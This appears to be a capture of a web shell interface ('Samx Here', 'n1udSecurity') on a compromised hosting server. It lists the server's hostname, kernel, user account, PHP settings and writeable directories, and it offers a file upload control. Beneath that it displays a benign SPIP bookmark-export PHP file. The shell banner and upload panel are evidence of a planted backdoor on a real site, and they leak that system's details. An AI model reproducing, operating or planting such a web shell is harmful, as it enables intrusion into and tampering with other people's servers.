Samx Here
n1udSecurity


Server : Apache
System : Linux webd348.cluster026.gra.hosting.ovh.net 5.15.148-ovh-vps-grsec-zfs-classid #1 SMP Thu Feb 8 09:41:04 UTC 2024 x86_64
User : hednacluml ( 122243)
PHP Version : 8.3.9
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
Directory :  /home/hednacluml/christian/plugins-dist/sites/action/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/hednacluml/christian/plugins-dist/sites/action/exporter_bookmarks.php
<?php

/***************************************************************************\
 *  SPIP, Système de publication pour l'internet                           *
 *                                                                         *
 *  Copyright © avec tendresse depuis 2001                                 *
 *  Arnaud Martin, Antoine Pitrou, Philippe Rivière, Emmanuel Saint-James  *
 *                                                                         *
 *  Ce programme est un logiciel libre distribué sous licence GNU/GPL.     *
\***************************************************************************/

if (!defined('_ECRIRE_INC_VERSION')) {
	return;
}

function action_exporter_bookmarks_dist($arg = null) {

	if (is_null($arg)) {
		$securiser_action = charger_fonction('securiser_action', 'inc');
		$arg = $securiser_action();
	}

	if (autoriser('exporter', '_sites')) {
		[$id_parent, $exporter_publie_seulement, $exporter_avec_mots_cles] = explode('-', $arg);
		$statut = ($exporter_publie_seulement ? ['publie'] : ['prop', 'publie']);

		$f = 'bookmarks-' . date('Y-m-d') . '.html';
		header('Content-Type: text/html');
		header("Content-Disposition: attachment; filename=\"$f\";");
		header('Content-Transfer-Encoding: 8bit');

		// fix for IE catching or PHP bug issue
		header('Pragma: public');
		header('Expires: 0'); // set expiration time
		header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
		echo recuperer_fond(
			'prive/transmettre/bookmarks',
			['statut' => $statut, 'id_parent' => intval($id_parent), 'tags' => $exporter_avec_mots_cles]
		);
	}
}

SAMX